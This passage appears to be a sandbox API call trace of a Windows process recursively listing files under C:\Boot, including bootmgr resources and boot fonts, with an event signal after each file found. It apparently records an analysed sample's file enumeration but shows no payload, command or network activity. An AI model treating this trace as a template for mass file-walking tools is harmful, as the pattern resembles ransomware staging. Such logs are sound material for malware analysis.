dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0275.572] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1 [0275.572] SetEvent (hEvent=0x2a4) returned 1 [0275.573] ResetEvent (hEvent=0x2a8) returned 1 [0275.574] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0275.574] SetEvent (hEvent=0x2a4) returned 1 [0275.575] ResetEvent (hEvent=0x2a8) returned 1 [0275.576] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0275.576] SetEvent (hEvent=0x2a4) returned 1 [0275.576] ResetEvent (hEvent=0x2a8) returned 1 [0275.590] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0275.591] SetEvent (hEvent=0x2a4) returned 1 [0275.591] ResetEvent (hEvent=0x2a8) returned 1 [0275.592] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0275.592] GetProcessHeap () returned 0xaf0000 [0275.593] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.593] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.593] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.593] SetEvent (hEvent=0x2a4) returned 1 [0275.593] ResetEvent (hEvent=0x2a8) returned 1 [0275.595] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.595] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0275.595] GetProcessHeap () returned 0xaf0000 [0275.595] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.596] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0275.596] SetEvent (hEvent=0x2a4) returned 1 [0275.596] ResetEvent (hEvent=0x2a8) returned 1 [0275.599] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0275.599] SetEvent (hEvent=0x2a4) returned 1 [0275.599] ResetEvent (hEvent=0x2a8) returned 1 [0275.628] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0275.628] SetEvent (hEvent=0x2a4) returned 1 [0275.628] ResetEvent (hEvent=0x2a8) returned 1 [0275.630] GetProcessHeap () returned 0xaf0000 [0275.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.634] GetProcessHeap () returned 0xaf0000 [0275.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.635] GetProcessHeap () returned 0xaf0000 [0275.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.639] GetProcessHeap () returned 0xaf0000 [0275.639] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.639] GetProcessHeap () returned 0xaf0000 [0275.639] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.642] GetProcessHeap () returned 0xaf0000 [0275.642] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.643] GetProcessHeap () returned 0xaf0000 [0275.643] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.650] GetProcessHeap () returned 0xaf0000 [0275.650] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.650] GetProcessHeap () returned 0xaf0000 [0275.650] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.652] GetProcessHeap () returned 0xaf0000 [0275.652] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.652] GetProcessHeap () returned 0xaf0000 [0275.652] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.656] GetProcessHeap () returned 0xaf0000 [0275.656] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.656] GetProcessHeap () returned 0xaf0000 [0275.656] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.660] GetProcessHeap () returned 0xaf0000 [0275.660] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.660] GetProcessHeap () returned 0xaf0000 [0275.660] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.662] GetProcessHeap () returned 0xaf0000 [0275.662] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.662] GetProcessHeap () returned 0xaf0000 [0275.662] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.664] GetProcessHeap () returned 0xaf0000 [0275.664] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.664] GetProcessHeap () returned 0xaf0000 [0275.664] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.668] GetProcessHeap () returned 0xaf0000 [0275.668] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.668] GetProcessHeap () returned 0xaf0000 [0275.669] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.674] SetEvent (hEvent=0x2a4) returned 1 [0275.674] ResetEvent (hEvent=0x2a8) returned 1 [0275.678] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0275.678] SetEvent (hEvent=0x2a4) returned 1 [0275.678] ResetEvent (hEvent=0x2a8) returned 1 [0275.681] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0275.681] SetEvent (hEvent=0x2a4) returned 1 [0275.681] ResetEvent (hEvent=0x2a8) returned 1 [0275.682] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0275.682] SetEvent (hEvent=0x2a4) returned 1 [0275.682] ResetEvent (hEvent=0x2a8) returned 1 [0275.682] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0275.682] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0275.682] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0275.683] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0275.683] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0275.683] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0275.683] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0275.683] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0275.683] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0275.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0275.684] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xffffedc6, dwReserved1=0x9b6, 